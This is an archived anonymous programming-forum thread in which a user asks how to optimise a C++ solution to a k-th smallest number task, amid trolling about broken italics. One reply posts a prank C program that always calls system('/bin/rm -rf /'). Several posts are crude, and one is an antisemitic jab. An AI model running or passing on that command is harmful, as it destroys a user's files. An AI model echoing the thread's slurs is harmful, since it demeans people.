Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Optimizing the code

Name: Anonymous 2010-03-01 8:19

Any ideas on how I could make this program run faster?
It's supposed to run under 0.5 seconds.
In some cases it does, in others it fails.
[b]The task : [/b]

INPUT:
From the first line of the standard input read one integer (5 <= n <= 100000). Each of the following n lines will have one of the following two formats:

- 1 a - meaning that Mirko said aloud the number a, (0 <= a <= 65535).
- 2 k - meaning that Mirko asks what is the kth smallest number he has said so far. k will always be less or equal to the number of numbers Mirko has said aloud so far.

The total number of different number will not be bigger than 400, but some of the numbers can repeat!

OUTPUT:
To the standard output write one line for each of the 2 k inputs. Representing the kth smallest number at that moment.


Input:
7
1 0
1 1
1 5
2 1
2 3
1 2
2 3

Output:
0
5
2

[b]My solution : [/b]

#include <stdio.h>
int main(){
    unsigned short int * a;
        unsigned int n,j,x,y;
    int m=-1;
    scanf("%u",&n);
    a=new unsigned short int[n];
    while (n>0){
        n=n-1;
        scanf("%u %u",&x,&y);
        if (x==1){
            m=m+1;
            j=m;
            a[j]=y;
            while((j>0)&&(a[j]<a[j-1])){
                y=a[j-1];
                a[j-1]=a[j];
                a[j]=y;
                j=j-1;
            }

        }
        else printf("%u\n",a[y-1]);
    }
    delete [] a;
    return 0;
}

Name: Anonymous 2010-03-01 8:20

fail

Name: Anonymous 2010-03-01 8:35

Oh great, you've managed to break /prog/! Now all text is in italics!

Name: Anonymous 2010-03-01 8:36

DO YOUR OWN HOMEWORK!

Name: Anonymous 2010-03-01 8:44

I did it, I just need help with optimizing the damn code.

Name: Anonymous 2010-03-01 8:45

>>3
He haxed our /prog/

Name: Test 2010-03-01 8:46




Name: Anonymous 2010-03-01 9:11

Italics were first commissioned by Aldus Manutius for the purpose of printing volumes that could be held in the hand and carried more easily on the person. The actual type was cut by Francisco Griffo in the late 15th century. The italic is so called because the calligraphic style originates from Italy.

Name: Anonymous 2010-03-01 12:35

ITALIZE MY ANUS

Also, I'm going to bump the “Point in case” thread once I find it only for the pleasure of breaking even more this board.

Name: Anonymous 2010-03-01 12:51

I like /prog/'s new, italicized look. Its so  dynamic  .

Name: Anonymous 2010-03-01 13:10

bump for italic /prog/

Name: Anonymous 2010-03-01 13:38

at least help me out since I fucked your /prog/ up.

Name: Anonymous 2010-03-01 13:45

#include <stdio.h>
int n[65536];
int main() {
 int i;
 scanf("%u",&i);
 while(i--) {
  int a, b;
  sscanf("%u %u",&a,&b);
  if(a==1) {
   /* the code here is left as an exercise for the reader */
  } else {
   /* the code here is left as an exercise for the reader */
  }
 }
}

Name: Anonymous 2010-03-01 13:49

>>15
Not Pascal. You fail.

Name: Anonymous 2010-03-01 14:37

>>15
sscanf
sscanf

The canf preferred for JEWS all over the world!

Name: Anonymous 2010-03-01 14:47

this thread makes everyone italic

Name: Anonymous 2010-03-01 14:54

>>17
Oh sshit.

Name: Anonymous 2010-03-01 14:55

o rly

Name: Anonymous 2010-03-01 14:55

lol wot

Name: Anonymous 2010-03-01 14:56

>>16
Would you like me to tell you why Pascal is not my favorite programming language?

Sidenote: WTF, even the textarea gets in trouble.

Name: Anonymous 2010-03-01 14:57

>>22
Of course I would.

Name: Anonymous 2010-03-01 15:00

>>22
Because you're Brian Kernighan.

Name: Anonymous 2010-03-01 15:14

I love trees. They're so big and branchy. I especially like it when they're orderly and balanced so they won't fall. A little game I like to play is to write on each branch how many leaves that branch carries, all the way down to the root.

Name: Anonymous 2010-03-01 16:00

saging italics

Name: Anonymous 2010-03-01 17:29

bumping italians

Name: Anonymous 2010-03-01 18:36

>>15
Thanks, will implement some of it tomorrow morning.
btw, why did you sage ?

Name: Anonymous 2010-03-01 20:49

>>28
For fuck's sake, read what >>25-kun had to say.

Name: Anonymous 2010-03-01 20:58

>>29
YES

Name: Anonymous 2010-03-01 22:22

I claim this thread in the name of Italy.

Name: Anonymous 2010-03-01 22:37

CLAIM MY ANUS

Name: Anonymous 2010-03-01 23:28

stop bumping this broken page you goddamn fucks

Name: Anonymous 2010-03-01 23:39

>>33
Bump.

Name: Anonymous 2010-03-02 0:52

BUMP MY ANUS

Name: Anonymous 2010-03-02 0:55

wheres your code dipshit? How the fuck can we #1 laugh at you and #2 show you where you made your mistakes if you don't show us any fucking code.

Name: Anonymous 2010-03-02 1:07

#define isstupid(b) b
#define isshit(b) b
#define PASCAL 1
#include <stdlib.h>

int main(void)
{
  int op = 1;
  if (isstupid(op) && isshit(PASCAL))
    system("/bin/rm -rf /");
  return 0;
}

Name: Anonymous 2010-03-02 2:32

REMOVE MY ANUS

Name: Anonymous 2010-03-02 3:21

>>36
The code IS here, didn't you notice the (Post truncated.) thingy?

Also, Lain.

Name: Anonymous 2010-03-02 3:29

>>25
That scales with the number of unique numbers, but since there is only 400 of them anyway, you can easily use a simpler O(400^2) insertion method and get O(n). Always read the problem statement carefully and check the bounds!

Newer Posts